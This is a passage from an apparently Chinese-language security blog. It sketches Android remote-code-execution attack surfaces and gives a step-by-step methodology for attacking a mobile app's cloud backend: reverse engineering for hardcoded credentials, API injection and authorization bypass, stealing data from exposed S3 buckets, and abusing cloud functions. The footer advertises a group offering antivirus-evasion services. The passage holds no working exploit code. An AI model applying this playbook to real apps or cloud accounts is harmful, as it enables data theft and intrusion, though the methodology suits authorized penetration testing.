  • 媒体服务(Media Server)漏洞:安卓的媒体服务负责处理音频、视频和图像文件。如果攻击者能让其处理一个恶意的媒体文件(例如一个特制的 MP4 文件),可能会触发内存破坏漏洞,导致在媒体服务进程中实现 RCE。
  • 图形渲染服务(SurfaceFlinger)漏洞SurfaceFlinger 负责安卓的图形渲染。如果它存在漏洞,攻击者可以利用一个恶意的应用或网页,向其发送恶意数据,从而在 SurfaceFlinger 进程中实现 RCE

d) 底层协议或驱动漏洞

  • Wi-Fi、蓝牙驱动漏洞:这些驱动程序负责处理来自无线网络的流量。如果其中存在漏洞,攻击者可以发送特制的无线数据包,在无需用户交互的情况下,触发 RCE

给一个移动端的 APP,已知服务端是 cloud 环境有什么思路利用

1. 移动端 App 本地分析

首先,你需要从 App 本身入手,这是你与云端环境交互的唯一“客户端”

  • 逆向工程(Reverse Engineering)
    • 代码分析:使用工具如 JADXMobSF 对 APK/IPA 文件进行逆向,分析其 Java/Kotlin/Swift/Objective-C 源码。寻找硬编码在代码中的敏感信息,例如:
      • API Key、Secret Key、Access Token
      • 数据库密码、云服务凭证(如 AWS S3、Azure Blob Storage 的凭证)
      • 加密算法和密钥
      • 内网 IP 地址或域名
    • 本地数据存储:检查 App 在本地存储的数据,例如 SharedPreferences、SQLite 数据库、文件缓存等。这些地方可能存储了用户的敏感信息或 API 调用凭证
  • 网络流量抓包分析
    • 使用 Burp SuiteCharles Proxy 拦截 App 与云端服务器的所有通信流量
    • 分析 API 接口:这是最关键的一步。仔细分析每一个 API 接口的功能、请求参数、响应数据。特别关注:
      • 认证机制:App 如何进行用户认证?是基于 Token 还是 Cookie?Token 是否有过期时间?
      • 授权机制:是否可以越权访问其他用户的数据?例如,修改请求参数中的 user_id
      • 输入验证:是否有 SQL 注入、命令注入、XXE 等漏洞?尝试在参数中注入特殊字符或恶意代码

2. 云端服务渗透(以 App 为跳板)

在完成本地分析后,你将拥有大量关于云端环境的信息。现在,你可以利用这些信息,以 App 为跳板,攻击后端的云服务

  • 攻击 API 网关和后端服务
    • API 漏洞:利用你在抓包中发现的 API 接口,进行更深入的渗透
      • SQL 注入:尝试在所有参数中注入 SQL 语句,看是否能读取数据库内容
      • 命令注入:如果 App 调用了某些系统命令,尝试注入命令,执行 whoami
      • 不安全的对象反序列化:如果通信数据是序列化的 Java、Python 或其他语言对象,尝试构造恶意 Payload,触发反序列化漏洞
      • 越权访问:尝试用低权限用户访问高权限接口,或越权修改其他用户的数据
  • 攻击云存储
    • 如果 App 逆向后发现了云存储(如 AWS S3、Azure Blob Storage)的凭证,尝试使用这些凭证访问云存储
    • 权限枚举:检查凭证是否有读写、列出文件的权限
    • 数据窃取:如果能访问 S3 桶,尝试下载其中的文件,这些文件可能包含用户的敏感数据、源代码、或备份
    • 恶意文件上传:如果能写入,尝试上传恶意文件,可能能被 Web 服务调用
  • 攻击云函数/无服务器架构
    • 如果 App 的某些功能是通过云函数(如 AWS Lambda)实现的,尝试寻找云函数的 API 接口
    • 注入攻击:在云函数的输入参数中,尝试注入命令或代码,看是否能触发 RCE
    • 权限滥用:云函数通常有特定的 IAM 角色。如果能利用云函数,你可以通过其权限访问其他云资源

33- 结束语

  • CTRl+D 将本网站:ycc77.com添加到书签栏哦~
  • 需要资源,记得将ycc77.cn 添加到书签栏哦~
  • QQ交流群:660264846(最新开展免杀担保等业务)
  • B站: 疯狂的杨CC
  • 抖音: 疯狂的杨CC
  • 快手: 疯狂的杨CC
  • 公众号:SGY安全
  • 91: 疯狂的杨CC
  • p站: 疯狂的杨CC